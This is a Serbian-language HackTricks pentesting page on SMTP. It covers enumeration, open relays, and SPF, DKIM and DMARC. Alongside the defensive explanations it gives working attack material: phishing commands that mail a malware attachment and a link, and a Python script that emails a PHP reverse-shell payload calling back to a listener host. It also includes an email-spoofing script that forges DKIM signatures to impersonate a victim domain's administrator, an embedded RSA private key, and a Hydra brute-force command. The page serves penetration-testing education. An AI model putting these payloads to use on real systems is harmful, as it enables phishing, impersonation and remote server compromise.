# 25,465,587 - Pentesting SMTP/s

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini podrške HackTricks-u:

* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>

<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>

**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

## **Osnovne informacije**

**Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi u okviru TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u čekanju poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da skladište poruke na serveru poštanskog sandučeta i periodično ih preuzimaju.

U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Nadalje, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3.

**Podrazumevani port:** 25,465(ssl),587(ssl)
```
PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
```
### EMAIL Zaglavlja

Ako imate priliku da **natjerate žrtvu da vam pošalje e-poštu** (putem obrasca za kontakt na web stranici na primer), učinite to jer **možete saznati o unutrašnjoj topologiji** žrtve gledajući zaglavlja poruke.

Takođe možete dobiti e-poštu sa SMTP servera pokušavajući **poslati tom serveru e-poštu na nepostojeću adresu** (jer će server poslati napadaču NDN poruku). Međutim, budite sigurni da šaljete e-poštu sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke.

Trebali biste takođe pokušati **poslati različite sadržaje jer možete pronaći interesantne informacije** u zaglavljima poput: `X-Virus-Scanned: by av.domain.com`\
Trebali biste poslati EICAR test fajl.\
Otkrivanje **AV** može vam omogućiti iskorišćavanje **poznatih ranjivosti.**

## Osnovne radnje

### **Banner Grabbing/Osnovna konekcija**

**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Pronalaženje MX servera organizacije
```bash
dig +short mx google.com
```
### Nabrojavanje
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Otkrivanje informacija

Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije). Više informacija [**ovde**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Ili **automatizujte** ovo pomoću **nmap** dodatka `smtp-ntlm-info.nse`

### Interno ime servera - Otkrivanje informacija

Neke SMTP servere automatski popunjavaju adresu pošiljaoca kada se izda komanda "MAIL FROM" bez potpune adrese, otkrivajući njegovo interno ime:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Snifovanje

Proverite da li ste ispratili neku lozinku iz paketa ka portu 25

### [Bruteforce autentikacije](../../generic-methodologies-and-resources/brute-force.md#smtp)

## Enumeracija Brute Force Korisničkog Imena

**Autentikacija nije uvek potrebna**

### RCPT TO
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
### EXPN

### EXPN
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
```
### Automatski alati
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>

**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

## DSN Izveštaji

**Izveštaji o obaveštenju o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **povratnog mejla vama**. **Zaglavlja** vraćenog mejla će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su interaktovali sa izveštajima ili informacije o antivirusnom softveru).

## [Komande](smtp-commands.md)

### Slanje emaila sa Linux konzole
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
```

```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Slanje email-a pomoću Python-a

<details>

<summary>Python kod ovde</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>

## SMTP Smuggling

Ranjivost SMTP transporta omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP transportu pogledajte:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Mera protiv lažnog slanja mejlova

Organizacije su sprečene da neovlašćeno šalju e-poštu u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog jednostavnosti lažiranja SMTP poruka.

**Potpuni vodič za ove mere** dostupan je na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF je "zastareo" 2014. godine. To znači da umesto kreiranja **TXT zapisa** u `_spf.domain.com`, kreirate ga u `domain.com` koristeći **isti sintaksu**.\
Osim toga, da biste ponovo koristili prethodne SPF zapise, često je uobičajeno pronaći nešto poput `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTA) da provere da li je host koji šalje e-poštu ovlašćen tako što upita listu ovlašćenih poštanskih servera definisanih od strane organizacija. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-poštu u ime imena domena**, uključuje različite "**Mehanizme**" u SPF zapisu.

#### Mehanizmi

Sa [Vikipedije](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Mehanizam | Opis                                                                                                                                                                                                                                                                                                                         |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Uvek se podudara; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje se ne podudaraju sa prethodnim mehanizmima.                                                                                                                                                                                                                                  |
| A         | Ako ime domena ima adresni zapis (A ili AAAA) koji se može rešiti na adresu pošiljaoca, podudaraće se.                                                                                                                                                                                                                   |
| IP4       | Ako je pošiljalac u datom IPv4 opsegu adresa, podudara se.                                                                                                                                                                                                                                                                              |
| IP6       | Ako je pošiljalac u datom IPv6 opsegu adresa, podudara se.                                                                                                                                                                                                                                                                              |
| MX        | Ako ime domena ima MX zapis koji se rešava na adresu pošiljaoca, podudaraće se (tj. pošta dolazi sa jednog od dolaznih poštanskih servera domena).                                                                                                                                                                          |
| PTR       | Ako je ime domena (PTR zapis) za adresu klijenta u datoj domeni i to ime domena se rešava na adresu klijenta (forward-confirmed reverse DNS), podudara se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće.                                                                                     |
| EXISTS    | Ako dato ime domena se rešava na bilo koju adresu, podudara se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Uz SPF makro jezik nudi složenije podudaranje poput DNSBL-upita.                                                                                                                           |
| INCLUDE   | Referiše na politiku druge domene. Ako politika te domene prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne uspe, obrada se nastavlja. Da bi se potpuno delegiralo politici druge domene, mora se koristiti proširenje preusmeravanja.                                                                                     |
| REDIRECT  | <p>Preusmeravanje je pokazivač na drugo ime domena koje hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu email infrastrukturu.</p><p>SPF politika domena naznačena u mehanizmu preusmeravanja će biti korišćena.</p> |

Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba uraditi ako se mehanizam podudara**. Podrazumevano se koristi **kvalifikator "+"** (tako da ako se podudari bilo koji mehanizam, to znači da je dozvoljeno).\
Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da bi se naznačilo da **ako pošiljalac ne odgovara nijednoj SPF politici, trebalo bi označiti e-poštu kao nepoverljivu (\~) ili odbiti (-) e-poštu.**

#### Kvalifikatori

Svaki mehanizam unutar politike može biti prefiksan jednim od četiri kvalifikatora kako bi se definisao željeni rezultat:

* **`+`**: Odgovara rezultatu PROLAZ. Podrazumevano, mehanizmi pretpostavljaju ovaj kvalifikator, čineći `+mx` ekvivalentnim `mx`.
* **`?`**: Predstavlja NEUTRALAN rezultat, tretiran slično kao NIKO (bez specifične politike).
* **`~`**: Označava SOFTFAIL, služeći kao srednje rešenje između NEUTRALNO i GREŠKA. E-poruke koje zadovolje ovaj rezultat obično se prihvataju ali se označavaju prema tome.
* **`-`**: Označava GREŠKA, sugerišući da bi e-pošta trebalo direktno odbiti.

U sledećem primeru, **SPF politika google.com** je ilustrovana. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo tačan/nijedan SPF zapis. **Danas**, ako **e-pošta** dolazi sa **domena bez validnog SPF zapisa**, verovatno će biti **odbijena/označena kao nepoverljiva automatski**.

Da biste proverili SPF domena, možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)

### DKIM (DomainKeys Identified Mail)

DKIM se koristi za potpisivanje odlaznih e-pošta, omogućavajući njihovu validaciju od strane spoljnih Mail Transfer Agents (MTA) putem dobijanja javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu, morate znati i selektor i ime domena.

Na primer, zahtevanje ključa, ime domena i selektor su esencijalni. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr., `d=gmail.com;s=20120113`.

Komanda za dobijanje ovih informacija može izgledati ovako:
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC poboljšava sigurnost e-pošte gradeći na SPF i DKIM protokolima. On definiše politike koje vode mail servere u rukovanju e-poštom sa određene domene, uključujući kako postupati sa autentikacionim greškama i gde slati izveštaje o akcijama obrade e-pošte.

**Da biste dobili DMARC zapis, morate upitati poddomen \_dmarc**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### DMARC oznake

| Ime oznake | Svrha                                         | Primer                          |
| ---------- | --------------------------------------------- | ------------------------------- |
| v          | Verzija protokola                             | v=DMARC1                        |
| pct        | Procenat poruka podvrgnut filtriranju         | pct=20                          |
| ruf        | URI za prijavljivanje forenzičkih izveštaja  | ruf=mailto:authfail@example.com |
| rua        | URI za prijavljivanje agregiranih izveštaja  | rua=mailto:aggrep@example.com   |
| p          | Politika za organizacioni domen              | p=quarantine                    |
| sp         | Politika za poddomene OD                     | sp=reject                       |
| adkim      | Režim poravnanja za DKIM                      | adkim=s                         |
| aspf       | Režim poravnanja za SPF                       | aspf=r                          |

### **Šta je sa Poddomenima?**

**Od** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Morate imati odvojene SPF zapise za svaki poddomen sa kog želite da šaljete poštu.\
Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari.

> Pitanje o Demona: Šta je sa poddomenima?
>
> Ako dobijem poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaki poddomen na Demonu je drugačiji korisnik, i svaki korisnik može imati svoju politiku. Ne bi imalo smisla da se politika Demona automatski primenjuje na sve svoje korisnike; ako Demon želi to da uradi, može postaviti SPF zapise za svaki poddomen.
>
> Dakle, savet izdavačima SPF zapisa je sledeći: trebalo bi da dodate SPF zapis za svaki poddomen ili ime hosta koje ima A ili MX zapis.
>
> Sajtovi sa wildcard A ili MX zapisima takođe treba da imaju wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all"

Ovo ima smisla - poddomen može biti na potpuno drugačijoj geografskoj lokaciji i imati potpuno drugačiju definiciju SPF-a.

### **Otvoreni Relej**

Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. Ovo se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je taj što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, rizik koji se često identifikuje u bezbednosnim procenama.

Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, jeste da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod:
```bash
mynetworks = 0.0.0.0/0
```
Za proveru da li je poštanski server otvoreni relej (što znači da može prosleđivati e-poštu sa bilo kog spoljnog izvora), često se koristi alat `nmap`. On uključuje poseban skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Alati**

* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Proverite konfiguracije SPF i DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatski dobijanje SPF i DMARC konfiguracija**

### Slanje lažnih emailova

* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)

**Ili možete koristiti alat:**

* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Ako dobijete bilo kakvu grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa slobodno koristite sledeći.\
**NAPOMENA**: Ovo je samo brzo rešenje za obavljanje brzih provera u slučajevima kada iz nekog razloga openssl privatni ključ ne može da bude parsiran od strane dkim-a.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}

**Ili to možete uraditi ručno:**

{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nepotpisanu poruku
</strong><strong>mail("vas_email@gmail.com", "Testni predmet!", "hej! Ovo je test", "Od: administrator@žrtva.com");
</strong></code></pre>
{% endtab %}

{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
### **Više informacija**

**Pronađite više informacija o ovim zaštitama na** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)

### **Ostali indikatori phishinga**

* Starost domena
* Linkovi koji vode ka IP adresama
* Tehnike manipulacije linkova
* Sumnjivi (neobični) prilozi
* Oštećen sadržaj e-pošte
* Korišćenje vrednosti koje se razlikuju od zaglavlja e-pošte
* Postojanje važećeg i pouzdanog SSL sertifikata
* Slanje stranice na sajtove za filtriranje web sadržaja

## Izfiltracija putem SMTP-a

**Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**

## Konfiguracioni fajl

### Postfix

Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer novi mejl primi od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako novi mejl bude primljen od korisnika mark.

Ostali konfiguracioni fajlovi:
```
sendmail.cf
submit.cf
```
## Reference

* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)

## HackTricks Automatske Komande
```
Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

```
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>

**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kuda sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje istražuju, otvaraju ljuske i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini podrške HackTricks-u:

* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
